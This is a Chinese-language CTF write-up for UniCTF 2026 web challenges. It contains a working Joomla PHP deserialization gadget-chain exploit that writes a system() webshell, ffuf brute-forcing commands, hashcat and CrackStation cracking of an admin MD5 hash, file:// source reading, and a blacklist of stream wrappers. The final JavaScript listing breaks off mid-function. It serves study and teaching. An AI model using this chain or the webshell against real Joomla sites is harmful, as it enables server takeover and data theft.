unictf2026

哈哈哈写了八道web,嗯,但是wp写在本地,图片没法没法传,这里复现一下没做出的几道。

Joomla Revenge!

给了一个cms源码要自己,

然后给了反序列化入口

php 复制代码
<?php
require 'libraries/vendor/autoload.php';
define('_JEXEC',1);

$ser = $_POST['unser'];
$ser = base64_decode($ser);


$test = unserialize($ser, ['allowed_classes' => false]);

$str = print_r($test, true);


if (preg_match('/WebAssetManager|HtmlDocument/i', $str)) {
    die('Invalid Class');
}

$obj = unserialize($ser);

我之前的想法就是从destruct开始追,看到了一条最有潜力的,但是有有wakeup限制,然后测试了绕过没成功。

wp的方法是,看得一脸懵,之前没自己挖过。

php 复制代码
Joomla Revenge!
预期解是考察自己挖掘链子, 但是网上有phpmailer地链子打法没有ban掉, 这里贴一下我自己的预期链子:
<?php

namespace Joomla\CMS\Layout;

interface LayoutInterface

{}

namespace Joomla\CMS\Layout;

class BaseLayout implements LayoutInterface

{}

namespace Psr\Http\Message;
interface StreamInterface

{}

namespace Joomla\Filesystem;
class Patcher

{

    public function __construct() {

        $this->destinations = [

            '/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']

        ];

        $this->patches = [];

    }

}
namespace Laminas\Diactoros;

use Psr\Http\Message\StreamInterface;

use Stringable;

use Joomla\Filesystem\Patcher;

class CallbackStream implements StreamInterface, Stringable

{

    public function __toString(): string

    {

        return "";

    }
    public function __construct() {

        $this->callback = [new Patcher(), "apply"];

  

    }
}
namespace Joomla\Filesystem;
use Laminas\Diactoros\CallbackStream;

class Stream
{  

    public function __construct() {

        $this->fh = 1;

        $this->processingmethod = new CallbackStream();

  

    }

}

namespace Joomla\Filesystem;

$obj = new Stream();
echo base64_encode(serialize($obj));

前面的那些是

这些是为了在本地没有 Joomla/PSR 环境时,伪造同名空类和接口,让 payload 能正常序列化的"占位壳子",本身不参与利用。

这句:

use Laminas\Diactoros\CallbackStream;

等价于:

use Laminas\Diactoros\CallbackStream as CallbackStream;

意思是:

给长名字起个短名字

也就是:

全名 简写
Laminas\Diactoros\CallbackStream CallbackStream

callback() 直接调用了 POC 中设置的 \[new Patcher(), "apply"\]。 callback是 [new Patcher(), "apply"],为啥$callback()就是new了然后调用那个方法

PHP 可调用数组语法

在 PHP 中,这种数组格式是标准的方法调用回调

复制代码
$callback = [new Patcher(), "apply"];

这个数组包含两个元素:

  • 索引 0 :对象实例(new Patcher()

  • 索引 1 :方法名字符串("apply"

执行原理

当 PHP 看到 $callback() 时,会解析数组结构:

复制代码
$callback = [new Patcher(), "apply"];

// $callback() 等价于:
// (new Patcher())->apply();

1. 触发点:Stream::__destruct()

php 复制代码
public function __destruct()
{
    if ($this->fh) {  // POC中设为 1,条件成立
        @$this->close();
    }
}

2. 关键跳转:Stream::close()

php 复制代码
public function close()
{
    if (!$this->fh) {
        throw new FilesystemException('File not open');
    }
    
    switch ($this->processingmethod) {  // POC中设为 CallbackStream 对象
        case 'gz':
            $res = gzclose($this->fh);
            break;
        // ...
    }
}

核心机制switchcase 进行的是松散比较(==)。当 CallbackStream 对象与字符串 'gz' 比较时,PHP 会自动调用对象的 __toString() 方法。

3. 执行点:CallbackStream::__toString()

php 复制代码
public function __toString(): string
{
    return $this->getContents();  // 调用 getContents()
}

public function getContents(): string
{
    $callback = $this->detach();  // 获取 callback 并清空
    $contents = $callback !== null ? $callback() : '';  // 执行 callback!
    return (string) $contents;
}

public function detach(): ?callable
{
    $callback       = $this->callback;  // 获取 callback
    $this->callback = null;             // 清空
    return $callback;
}

关键代码$callback() 直接调用了 POC 中设置的 [new Patcher(), "apply"]

4. 攻击载荷:Patcher::apply()

POC 中的 Patcher 类:

php 复制代码
class Patcher
{
    public function __construct() {
        $this->destinations = [
            '/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
        ];
        $this->patches = [];
    }
}

apply() 被调用时,遍历 $this->destinations 并写入文件。

链子调用图

php 复制代码
unserialize($payload)
    ↓
[Joomla\Filesystem\Stream]
    ↓ __destruct()
    ↓
$this->fh = 1 (truthy)
    ↓
$this->close()
    ↓
switch ($this->processingmethod) { case 'gz': ... }
    ↓ 松散比较触发 __toString()
[Laminas\Diactoros\CallbackStream]
    ↓ __toString()
    ↓
$this->getContents()
    ↓
$callback = $this->detach()  // 返回 [Patcher, "apply"]
    ↓
$callback()  // 实际调用 Patcher->apply()
    ↓
[Joomla\Filesystem\Patcher]
    ↓ apply()
    ↓
file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>')
    ↓
RCE 达成

$this->fh = 1 (truthy)

$this->close()

switch ($this->processingmethod) { case 'gz': ... }

↓ 松散比较触发 __toString()

↓ 松散比较触发 __toString()

$this->getContents()

$callback() // 实际调用 Patcher->apply()

php 复制代码
public function apply()
    {
        foreach ($this->patches as $patch) {
            // Separate the input into lines
            $lines = self::splitLines($patch['udiff']);

            // Loop for each header
            while (self::findHeader($lines, $src, $dst)) {
                $done = false;

                $regex = '#^([^/]*/)*#';

                if ($patch['strip'] !== null) {
                    $regex = '#^([^/]*/){' . (int) $patch['strip'] . '}#';
                }

                $src = $patch['root'] . preg_replace($regex, '', $src);
                $dst = $patch['root'] . preg_replace($regex, '', $dst);

                // Loop for each hunk of differences
                while (self::findHunk($lines, $src_line, $src_size, $dst_line, $dst_size)) {
                    $done = true;

                    // Apply the hunk of differences
                    $this->applyHunk($lines, $src, $dst, $src_line, $src_size, $dst_line, $dst_size);
                }

                // If no modifications were found, throw an exception
                if (!$done) {
                    throw new \RuntimeException('Invalid Diff');
                }
            }
        }

        // Initialize the counter
        $done = 0;

        // Patch each destination file
        foreach ($this->destinations as $file => $content) {
            $buffer = implode("\n", $content);

            if (File::write($file, $buffer)) {
                if (isset($this->sources[$file])) {
                    $this->sources[$file] = $content;
                }

                $done++;
            }
        }

        // Remove each removed file
        foreach ($this->removals as $file) {
            if (File::delete($file)) {
                if (isset($this->sources[$file])) {
                    unset($this->sources[$file]);
                }

                $done++;
            }
        }

        // Clear the destinations cache
        $this->destinations = [];

        // Clear the removals
        $this->removals = [];

        // Clear the patches
        $this->patches = [];

        return $done;
    }

好长的内容啊,

foreach (this-\>patches as patch) 这是啥,没有设置就是没有吗

是的!没有设置就是空数组,循环直接跳过

链子设置的是destinations,没有设置$this->patches

看他

php 复制代码
foreach ($this->destinations as $file => $content) {
            $buffer = implode("\n", $content);

            if (File::write($file, $buffer)) {
                if (isset($this->sources[$file])) {
                    $this->sources[$file] = $content;
                }

                $done++;
            }
        }

POC 中的设置

php 复制代码
class Patcher
{
    public function __construct() {
        $this->destinations = [
            '/var/www/html/shell.php' => ['<?php system($_GET["cmd"]); ?>']
        ];
        $this->patches = [];      // ← 显式设为空数组
        $this->removals = [];     // ← 显式设为空数组
    }
}

代码执行流程

php 复制代码
public function apply()
{
    // ========== 第1个循环 ==========
    foreach ($this->patches as $patch) {
        // $this->patches = [] (空数组)
        // 循环体一次都不会执行,直接跳过!
    }
    
    // ========== 第2个循环 ==========
    foreach ($this->destinations as $file => $content) {
        // $this->destinations 有数据,执行写文件!
        $buffer = implode("\n", $content);
        File::write($file, $buffer);  // ← 真正干活的在这里
    }
    
    // ========== 第3个循环 ==========
    foreach ($this->removals as $file) {
        // $this->removals = [] (空数组)
        // 循环体一次都不会执行,直接跳过!
    }
}

学习下php简单代码

1️⃣implode ------ 数组 → 字符串

跟进File::write

php 复制代码
 public static function write($file, $buffer, $useStreams = false)
    {
        if (\function_exists('set_time_limit')) {
            set_time_limit(\ini_get('max_execution_time'));
        }

        // If the destination directory doesn't exist we need to create it
        if (!file_exists(\dirname($file))) {
            if (!Folder::create(\dirname($file))) {
                return false;
            }
        }

        if ($useStreams) {
            $stream = Factory::getStream();

            // Beef up the chunk size to a meg
            $stream->set('chunksize', (1024 * 1024));

            if (!$stream->writeFile($file, $buffer)) {
                Log::add(Text::sprintf('JLIB_FILESYSTEM_ERROR_WRITE_STREAMS', __METHOD__, $file, $stream->getError()), Log::WARNING, 'jerror');

                return false;
            }

            self::invalidateFileCache($file);

            return true;
        }

        $FTPOptions = ClientHelper::getCredentials('ftp');

        if ($FTPOptions['enabled'] == 1) {
            // Connect the FTP client
            $ftp = FtpClient::getInstance($FTPOptions['host'], $FTPOptions['port'], [], $FTPOptions['user'], $FTPOptions['pass']);

            // Translate path for the FTP account and use FTP write buffer to file
            $file = Path::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $file), '/');
            $ret  = $ftp->write($file, $buffer);
        } else {
            $file = Path::clean($file);
            $ret  = \is_int(file_put_contents($file, $buffer));
        }

        self::invalidateFileCache($file);

        return $ret;
    }

② 最关键:真正写文件的地方

在这里:

php 复制代码
$ret = is_int(file_put_contents($file, $buffer));

等价于:

php 复制代码
file_put_contents("/var/www/html/shell.php", "payload");

\is_int(...)

\file_put_contents(...)

前面的 \ 表示:

👉 强制使用"全局命名空间"的函数

查找顺序(重点)

假设当前 namespace:

Joomla\Filesystem

你写:

is_int();

PHP 会先找:

Joomla\Filesystem\is_int()

如果存在 → 用它 ❗

不存在 → 再去找全局的 is_int()

这叫:fallback 机制

**public static function write(file, buffer, $useStreams = false)
{

  1. 设置超时
  2. 创建目录
  3. 是否用流写
  4. 是否用 FTP
  5. 普通写文件
  6. 清缓存
    }**

寻找触发点的通用方法

1. 松散比较(Loose Comparison)

php 复制代码
$obj = new CallbackStream([new Patcher(), 'apply']);

// 以下都会触发 __toString()
$obj == 'string'        // true/false 比较
$obj == 0               // 与数字比较
$obj == true            // 与布尔比较

switch ($obj) {         // switch/case
    case 'a': ...       // 触发!
}

in_array($obj, ['a'])   // in_array 松散比较

2. 字符串操作

php 复制代码
$str = "prefix" . $obj;        // 字符串拼接
$str = "$obj";                  // 双引号解析
echo $obj;                      // echo
sprintf("test %s", $obj);       // sprintf

3. 函数参数隐式转换

php 复制代码
strlen($obj);                   // 期望字符串,触发 __toString
file_exists($obj);              // 路径转字符串
preg_match('/test/', $obj);     // 正则匹配

4. 数组操作

复制代码
$arr = [$obj => 'value'];       // 数组键名转字符串

到这里就已经写完马了。

总结一下可以找危险函数如这里的write,然后往回找,从destruct,不对发现这里最危险的是

好像从destruct开始找的话,都不知道什么时候是个头。

其实这条链子最经典的是那个$callback()吧,他可以接着找其他的任意类的任意方法。

为什么 $callback() 是经典跳板?

php 复制代码
// CallbackStream::getContents()
$callback = $this->detach();      // 可控!
$contents = $callback !== null ? $callback() : '';  // 任意回调执行

优势

  • 参数可控($this->callback

  • 格式是标准 PHP callable:[对象, 方法名]函数名

  • 可以跳转到 任意类任意方法

然后是这个**CallbackStream** 类其实就很危险就是触发他的__toString就后续可以触发$callback(),也就是说任意可以触发tostring的地方都可以塞这个类.

一鸣唱吧

上传两次发现只有最后两位变了。

然后可以尝试爆破,看看有没有原本就有的文件

以后你可以默认用:

爆目录:

seclists/Discovery/Web-Content/raft-medium-directories.txt

爆文件:

raft-medium-files.txt

爆后缀:

raft-medium-extensions.txt

爆密码:

rockyou.txt

fuzz 参数:

seclists/Fuzzing/parameters.txt

FFUF 使用指南

一、FFUF 简介

👉 FFUF 是一款基于字典爆破的网站探测工具

主要用途:

  • 目录爆破
  • 文件爆破
  • 参数爆破
  • 备份文件扫描
  • 上传文件名爆破
  • API 接口探测

原理: 通过字典内容替换指定位置进行批量测试

二、基础命令格式

ffuf -u URL -w 字典文件

示例: ffuf -u http://test.com/FUZZ -w wordlist.txt

👉 系统会自动用字典内容替换 URL 中的 FUZZ 占位符

三、FUZZ 占位符机制

单变量模式: http://a.com/FUZZ 对应命令: -w list.txt

多变量模式(高级): http://a.com/W1.W2 对应命令: -w num.txt:W1 -w ext.txt:W2

👉 系统会进行字典内容的笛卡尔积组合测试

php 复制代码
ffuf -u http://80-3452b0a1-5542-4564-9fca-e6673b3d88c2.challenge.ctfplus.cn/uploads/UNiCTF2026W1W2 -w /root/test/num.txt:W1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-extensions-lowercase.txt:W2

CTF 中看 phpinfo() 主要看什么?

一般来说,在 CTF 中遇到 phpinfo() 页面,重点关注以下几类信息:


  1. 已加载的扩展(Extensions)
  • ssh2, redis, mongodb, imap, ldap, pdo_mysql, gd, zip, bcmath 等。
  • 目的 :判断是否可以利用某些函数(如 ssh2_connect, Redis::connect, imagecreatefrompng 等)进行 RCE、文件读取、SSRF、反序列化等。

你的例子中,ssh2 是突破口!


  1. disable_functions(禁用函数)
  • 如果 system, exec, shell_exec, passthru, popen 等被禁用,就无法直接命令执行。
  • 但如果有 ssh2imapmailerror_log 等未被禁用,可能绕过。

你这里显示:

复制代码
disable_functions	no value	no value

没有禁用任何函数! → 可以直接 system()


  1. open_basedir 限制
  • 如果设置了 open_basedir,就只能访问指定目录下的文件。

  • 你这里是:

    open_basedir no value no value

无限制! → 可以读 /etc/passwd/flag、环境变量等。


  1. 环境变量(Environment / $ _ENV)
  • 很多 CTF 会把 flag 直接放在环境变量里!

  • 你这里赫然写着:

    FLAG UniCTF{Ming_Ge_Singing_Is_Magic_${userId}}{256af25a-a8a9-44da-bb03-0a11d32f7175}

🎉 这就是 flag!

虽然里面有 ${userId} 占位符,但在实际环境中可能已被替换,或者这就是最终格式(CTF 题目有时故意这样写)。


  1. PHP 版本 & 已知漏洞
  • PHP 7.4.33(2022 年发布)→ 较新,不太可能有远程代码执行漏洞。
  • 但如果是老版本(如 5.6、7.0),可能结合 use after freesession.upload_progress 等利用。

  1. 文件上传路径 & Web 根目录
  • DOCUMENT_ROOT => /var/www/html
  • SCRIPT_FILENAME => /var/www/html/uploads/UNiCTF202638.php
  • 说明你上传的 webshell 在 uploads/ 目录下,可进一步利用。

  1. 是否在 Docker / Kubernetes 环境
  • 主机名:dep-3452b0a1-...-jjk4z
  • 环境变量含 KUBERNETES_SERVICE_HOST
  • 说明是容器化部署 → 可尝试逃逸、读取 /proc/net/fib_trie 找内网 IP、访问 metadata(如 169.254.169.254

📌 在你的phpinfo中怎么看

  1. Additional .ini files parsed

Additional .ini files parsed /usr/local/etc/php/conf.d/docker-php-ext-sodium.ini, /usr/local/etc/php/conf.d/docker-php-ext-ssh2.ini

→ 只说明尝试加载了这两个扩展的配置文件,但不代表一定加载成功。

  1. 真正的Loaded Extensions(模块列表)

往下滚动,看每个扩展的独立区块

复制

复制代码
ssh2  ← 这是一个区块标题
SSH2 support	enabled
extension version	1.3.1
libssh2 version	1.9.0

其他区块还有:

  • curl

  • sodium

  • openssl

  • pdo_sqlite

  • zlib

  • ...

每个有独立区块的才是真正启用的扩展!

🎯 CTF快速检查技巧

方法1:看phpinfo顶部的"Registered PHP Streams"

Registered PHP Streams https, ftps, compress.zlib, php, file, glob, data, http, ftp, phar, ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp

→ 出现 ssh2.* 说明ssh2扩展确实启用了。

模块开着 ≠ 直接可利用

你环境的高危点

  1. PHP 版本 & 核心

    • PHP 7.4.33 → 不是最新,很多老漏洞可能存在。

    • allow_url_fopen = Onallow_url_include = Off → 可以发远程请求,但远程包含被禁。

  2. 危险函数几乎没禁

    • 没看到 disable_functionsexec, system, passthru, shell_exec 等函数应该都能用。

    • 函数 + php 的模块 = 几乎能直接做 RCE。

  3. 模块

    • ssh2 → 可以远程连接 SSH 并执行命令。

    • curl → 可以发请求,做 SSRF 或外部通信。

    • phar → 可以触发对象反序列化链(如果有 unserialize)。

    • file_uploads = On → 文件上传可以用。

    • sockets → 自定义网络请求/监听也可以。

    • zip / zlib / bz2 → 可做 phar 利用链压缩包装。

  4. 流包装器

    • 支持 php://, ssh2.*, compress.zlib:// 等,几乎所有攻击向量都可以组合。
  5. 环境变量

    • _ENV['FLAG'] → flag 明文在环境变量里,可能直接读文件/用 getenv('FLAG') 就能拿到。

结论

几乎所有 CTF 常用利用点都有机会,只要你能找到触发点:

  • RCEexec()shell_exec()ssh2

  • LFI / RFI → 虽然 allow_url_include=Off,但 php://phar:// 依然可以

  • 对象反序列化phar:// + unserialize

  • 文件读取$_ENV/proc/self/environphp://filter

  • 文件上传/uploads/ 可利用

核心概念

  1. 模块开着只是提供能力

    • 比如 ssh2 模块开着 → 你可以用它连接 SSH 执行命令

    • 但是你得有代码路径可以调用它。

    • 如果网站没提供任何 PHP 代码来用 ssh2_connect()ssh2_exec(),你自己在浏览器端是不能直接用的。

  2. 函数未禁用 + 网站功能 = 可利用点

    • exec() 没禁,且网站有文件上传 → 可以上传 PHP webshell → 直接 RCE

    • unserialize() 存在,且网站有上传或 phar 流 → 可以做对象反序列化链

    • curl 开启,但网站没有接受 URL 输入 → SSRF 也触发不了

  3. 环境变量 / 内部信息

    • _ENV['FLAG'] 在 phpinfo() 里可见,但在实际题目里你能不能访问?

    • 如果网站有读取环境变量的功能或者某个 PHP 文件里可以 echo getenv('FLAG') → 就直接拿到

    • 否则你只能找其他绕过路径(LFI, RCE, phar...)

  4. 总结一句话

开着模块只是工具箱,你必须找网站提供的接口/功能去用这些工具。模块本身不会"自动"被利用。

刚刚的db文件

php 复制代码
import sqlite3

conn = sqlite3.connect("sql.db")
cur = conn.cursor()

# 看表
cur.execute("select name from sqlite_master where type='table'")
print(cur.fetchall())

看到admin了,然后密码估计加密了7fef6171469e80d32c0559f88b377245

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

这是CrackStation (官网地址:https://crackstation.net/),是网络安全领域非常知名的在线密码哈希破解工具,由 Defuse Security 发起的安全科普项目,对 CTF 竞赛、渗透测试和密码安全审计都极具实用性。

核心功能与特点

  1. 哈希破解能力 :支持 LM、NTLM、MD5、SHA-1/256/512 等几乎所有常见的无盐哈希算法,通过海量预计算彩虹表 / 查找表 (MD5/SHA1 表达 190GB、150 亿条目量级)实现毫秒级破解,你截图里的 MD5 哈希7fef6171469e80d32c0559f88b377245被秒解为admin888就是典型场景。

登录管理员后,多了这个

直接读取file:///flag会返回错误。那么试着读取源码。

file:///var/www/html/download.php

php 复制代码
<?php
// 引入数据库连接
require_once 'includes/db.php';

if (session_status() === PHP_SESSION_NONE) { session_start(); }

if (!isset($_SESSION['user'])) {
    require_once 'includes/header.php';
    die("<div class='container'><p class='error'>请先登录会员系统!/ Access Denied</p></div>");
    require_once 'includes/footer.php';
}



if (isset($_GET['preview']) && $_GET['preview'] === "true" && isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
    

    $format = isset($_GET['format']) ? $_GET['format'] : '';

    // ========================================
    // 安全过滤:协议黑名单检查
    // ========================================
    $dangerousProtocols = [
        'php://',
        'data://',
        'phar://',
        'zip://',
        'compress.zlib://',
        'compress.bzip2://',
        'zlib://',
        'glob://',
        'expect://',
        'input://',
        'http://',
        'https://',
        'ftp://',
        'ftps://',
        'dict://',
        'gopher://',
        'tftp://',
        'ldap://',
        'ssh2.sftp://',
        'ssh2.scp://',
        'ssh2.tunnel://',
        'rar://',
        'ogg://',
    ];

    foreach ($dangerousProtocols as $protocol) {
        if (stripos($format, $protocol) !== false) {
            require_once 'includes/header.php';
            echo "<div class='container'>";
            echo "<p class='error'>⚠️ 安全警告:禁止使用该协议 " . htmlspecialchars($protocol) . "</p>";
            echo "<p>系统检测到潜在的安全风险,已拦截此次请求。</p>";
            echo "</div>";
            require_once 'includes/footer.php';
            exit;
        }
    }
    // ========================================

    $full_path = $format;

    $is_viewing_source = (strpos($format, 'file://') === 0);

    if ($is_viewing_source) {
        header('Content-Type: text/plain; charset=utf-8');
    } else {
        header('Content-Type: text/html; charset=utf-8');
        require_once 'includes/header.php';
        echo "<div class='container'><h2 class='neon-text'>🔧 管理员预览控制台</h2>";
        echo "<p class='message'>正在尝试加载资源流: <strong>" . htmlspecialchars($full_path) . "</strong></p>";
        echo "<div style='background: #000; padding: 15px; border: 1px solid #333; font-family: monospace; color: #0f0; white-space: pre-wrap;'>";
    }

    try {

        $handle = @fopen($full_path, 'r');

        if ($handle) {
            $content = stream_get_contents($handle);
            
            if ($is_viewing_source) {
                echo $content; 
            } else {
                echo htmlspecialchars($content); 
            }
            fclose($handle);
        } else {
            echo "Error: 资源加载失败。\n";
            echo "可能的原因为:\n";
            echo "1. 文件路径不存在\n";
            echo "2. 权限不足 (Permission Denied)\n";
            echo "3. 协议格式错误\n";
        }

    } catch (Exception $e) {
        echo "System Error: " . $e->getMessage();
    }


    if (!$is_viewing_source) {
        echo "</div></div>"; // 关闭 console 和 container
        require_once 'includes/footer.php';
    }
    
    exit; 

}



//普通会员文件下载

require_once 'includes/header.php';

if (isset($_GET['file'])) {
    $file = $_GET['file'];

    if (strpos($file, '..') === false && strpos($file, '/') === false) {
        $filepath = "uploads/" . $file;
        if (file_exists($filepath)) {
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
            header('Content-Length: ' . filesize($filepath));
            readfile($filepath);
            exit;
        } else {
             echo "<p class='error'>文件不存在或已被移除。</p>";
        }
    } else {
         echo "<p class='error'>非法请求。</p>";
    }
}

$admin_panel = '';
if (isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1) {
    $current_dir = __DIR__; 
    $admin_panel = <<<HTML
    <div class="admin-panel">
        <h3 class="neon-text">🔧 管理员内部预览 (Dev Mode)</h3>
        <p style="color: gray; font-size: 0.8em;">当前 Web 根目录: {$current_dir}</p>
        
        <form method="get" target="_blank">
            <input type="hidden" name="preview" value="true">
            <label>Resource URI:</label>
            <input type="text" name="format" placeholder="例如: file://{$current_dir}/index.php" style="width: 70%;" required>
            <button type="submit">加载资源</button>
        </form>
    </div>
HTML;
}
?>

<h2 class="neon-text">🎵 一鸣曲库 (归档中心)</h2>
<p>这里存放着系统归档文件。普通会员可根据文件名下载。</p>

<div style="margin-top: 30px; padding: 20px; background: rgba(0,0,0,0.3);">
    <h3>📥 歌曲/文件下载</h3>
    <form method="get">
        文件名: <input type="text" name="file" placeholder="输入文件名, 如 MGSG202500.mp3">
        <button type="submit">下载文件</button>
    </form>
</div>

<?php 
echo $admin_panel;
require_once 'includes/footer.php'; 
?>

顺便看下upload.php

php 复制代码
<?php
require_once 'includes/header.php';
if (!isset($_SESSION['user'])) {
    die("<p class='error'>请先登录会员!</p>");
}

$msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['songfile'])) {
    // 伪随机文件名生成逻辑:固定前缀 + 2位随机数字
    $prefix = "UNiCTF2026";
    $random_suffix = str_pad(rand(0, 99), 2, '0', STR_PAD_LEFT);
    $ext = pathinfo($_FILES['songfile']['name'], PATHINFO_EXTENSION);
    // 简单的后缀限制 (可以根据需要放宽或收紧)
    if (!in_array(strtolower($ext), ['mp3', 'wav', 'txt', 'jpg'])) {
        $msg = "<p class='error'>暂不支持此格式文件上传。</p>";
    } else {
        $filename = $prefix . $random_suffix . "." . $ext;
        $target = "uploads/" . $filename;

        if (move_uploaded_file($_FILES['songfile']['tmp_name'], $target)) {
            $msg = "<p class='success'>点歌成功! 文件已归档至: <strong>" . $target . "</strong><br>感谢您丰富我们的曲库!</p>";
        } else {
            $msg = "<p class='error'>上传失败,请稍后重试。</p>";
        }
    }
}
?>

<h2 class="neon-text">📀 会员点歌台</h2>
<?php echo $msg; ?>
<p>请上传您想唱的歌曲伴奏文件(支持 mp3, wav 等)。系统会自动归档。</p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="songfile" required>
    <br><br>
    <button type="submit">确认上传</button>
</form>

<?php require_once 'includes/footer.php'; ?>

可以看到是白名单,要是有包含点,可以上传图片马

Apache 有经典配置缺陷:多后缀解析从右向左,遇到不认识的后缀继续向左找。

攻击方法:上传 shell.php.txt

「双后缀解析到底什么时候才成立?」

我直接给你结论:

现在大多数环境默认不支持双后缀解析

✅ 只有在特定 Apache 配置错误时 才会生效

⚠️ CTF 里才经常"故意留"

✅ 情况1:老版本 Apache + 老配置(最经典)

早年很多配置:

AddHandler application/x-httpd-php .php

Apache 的解析规则:

👉 只要路径中出现 .php 就解析。

但是没成功

② 管理员预览(重点🔥🔥🔥)

if (preview=true && is_admin==1) { $format = $_GET['format']; $handle = fopen($format,'r'); $content = stream_get_contents($handle);

👉 format 完全可控

👉 直接 fopen

👉 = 文件 / 流 / wrapper 读取

这就是 LFI / 任意文件读取点

✅ 二、最基本用法(正常开发)

$h = fopen("test.txt", "r"); $data = fread($h, 100); fclose($h);

意思:

打开 test.txt → 读 → 关


✅ 三、fopen 不只是文件(重点🔥)

PHP 里有个东西叫:

Stream Wrapper(流包装器)

所以:

fopen("xxx://yyy")

不一定是文件。


常见 wrapper:

协议 作用
file:// 本地文件
php:// 内存 / 输入
data:// base64
http:// 网络
ftp:// ftp
phar:// 反序列化

例如:

fopen("file:///etc/passwd","r");

= 读系统文件 ❗

PHP(危险)

file_get_contents($_GET['url']);

秒变 SSRF/LFI/RCE,其实和文件操作相关的都可以考虑流协议

而且黑名单没有ssh2.exec://

看起来wp的ssh的连接也是之前数据库里面的

人家还提供了一种破解hash的

php 复制代码
hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt --show

这是Hashcat ------ 目前全球最主流、功能最强大的密码哈希破解工具之一,是网络安全渗透测试、CTF 竞赛、密码安全审计领域的核心工具(Kali Linux 等安全渗透系统会默认预装)。

  • -a 0:指定攻击模式为字典攻击(用现成的密码字典去匹配哈希)
  • -m 0:指定待破解的哈希类型为MD5(Hashcat 支持数百种哈希类型,每种对应不同编号)
  • hash:存储 "待破解哈希值" 的文件
  • /usr/share/wordlists/rockyou.txt:调用 Kali 系统自带的经典密码字典(包含超 1400 万条常用弱密码)
  • --show:直接显示已经破解成功的 "哈希 - 明文" 对应结果

php-ssh2 是什么?

ssh2 是 PHP 的一个扩展模块,用来:

👉 让 PHP 直接通过 SSH 协议控制服务器 / 远程主机。

底层基于:

libssh2

本质就是:

👉 PHP 里内置了一个 SSH 客户端。


开启后你就能在 PHP 里干这个:

ssh2_connect() ssh2_auth_password() ssh2_exec() ssh2_scp_send() ssh2_sftp()

相当于:

👉 PHP = ssh + scp + sftp 客户端

其实flag就是phpinfo里面的那个。

Bytecode Compiler

这题,对输入进行加密了。

js代码,虽然比赛的时候也知道要看js,但是看不懂啊,真没招了。

javascript 复制代码
(() => {
  const encoder = new TextEncoder();
  const statusEl = document.getElementById('status');
  const scriptEl = document.getElementById('scriptInput');
  const outputEl = document.getElementById('outputBox');
  const packetEl = document.getElementById('packetBox');
  const runBtn = document.getElementById('runBtn');
  const diagModeEl = document.getElementById('diagMode');

  const K = [0x1c, 0x2d, 0x3e, 0x40, 0xa5, 0xb6, 0xc7, 0xd8, 0x24, 0x68, 0xac, 0xe0];
  const K1 = ((K[0] << 24) | (K[1] << 16) | (K[2] << 8) | K[3]) >>> 0;
  const K2 = ((K[4] << 24) | (K[5] << 16) | (K[6] << 8) | K[7]) >>> 0;
  const K3 = ((K[8] << 24) | (K[9] << 16) | (K[10] << 8) | K[11]) >>> 0;
  const ROT = 11;

  function rotl32(value, shift) {
    return ((value << shift) | (value >>> (32 - shift))) >>> 0;
  }

  function encodeOp(opId, nonceLow32) {
    const rot = (rotl32((nonceLow32 ^ K2) >>> 0, ROT) & 0xfffffffc) >>> 0;
    const base = ((opId ^ K1) + rot) >>> 0;
    return ((base ^ K3) | 0x80000000) >>> 0;
  }

  function fnv1a32(bytes) {
    let hash = 0x811c9dc5;
    for (let i = 0; i < bytes.length; i += 1) {
      hash ^= bytes[i];
      hash = (hash * 0x01000193) >>> 0;
    }
    return hash >>> 0;
  }

  function u32le(value) {
    return [value & 0xff, (value >>> 8) & 0xff, (value >>> 16) & 0xff, (value >>> 24) & 0xff];
  }

  function u16le(value) {
    return [value & 0xff, (value >>> 8) & 0xff];
  }

  function toBase64(bytes) {
    let binary = '';
    for (let i = 0; i < bytes.length; i += 1) {
      binary += String.fromCharCode(bytes[i]);
    }
    return btoa(binary);
  }


  function parseScript(text) {
    const lines = text.split(/\r?\n/).map((line) => line.trim()).filter(Boolean);
    return lines.map((line) => {
      const [cmd, ...rest] = line.split(/\s+/);
      const arg = rest.join(' ');
      const upper = cmd.toUpperCase();
      if (!['ECHO', 'LEN', 'HASH'].includes(upper)) {
        throw new Error(`Unknown command: ${cmd}`);
      }
      return { op: upper, arg };
    });
  }

  function buildPacket(ast) {
    const nonce = new Uint8Array(8);
    crypto.getRandomValues(nonce);
    const nonceLow32 = new DataView(nonce.buffer).getUint32(0, true);
    const flags = diagModeEl && diagModeEl.checked ? 0x01 : 0x00;

    const chunks = [];
    chunks.push(...encoder.encode('WVLT'));
    chunks.push(0x01);
    chunks.push(...nonce);
    chunks.push(ast.length & 0xff);

    const opMap = { ECHO: 0, LEN: 1, HASH: 2 };
    const instructions = [];

    const signedFlags = (flags << 24) >> 24;
    ast.forEach((node) => {
      const opId = opMap[node.op];
      const argBytes = encoder.encode(node.arg);
      const opCode = encodeOp(opId, nonceLow32);
      const dispatchIndex = signedFlags < 0
        ? (((signedFlags >>> 0) | opId) % 4)
        : (opId % 4);
      chunks.push(...u32le(opCode));
      chunks.push(flags);
      chunks.push(...u16le(argBytes.length));
      chunks.push(...argBytes);
      instructions.push({
        op: node.op,
        op_id: opId,
        flags,
        signed_flags: signedFlags,
        dispatch_index: dispatchIndex,
        arg_len: argBytes.length
      });
    });

    const body = Uint8Array.from(chunks);
    const checksum = fnv1a32(body);
    const packet = new Uint8Array(body.length + 4);
    packet.set(body, 0);
    packet.set(u32le(checksum), body.length);
    const dispatchRules = [
      'signed_flags >= 0: dispatch index follows op_id',
      'signed_flags < 0: compatibility dispatch uses flags in index',
      'dispatch table has 4 slots (including internal diagnostic slot)'
    ];
    const meta = {
      total_len: packet.length,
      count: ast.length,
      mode: flags === 1 ? 'diagnostic' : 'normal',
      flags,
      dispatch_rules: dispatchRules,
      instructions
    };
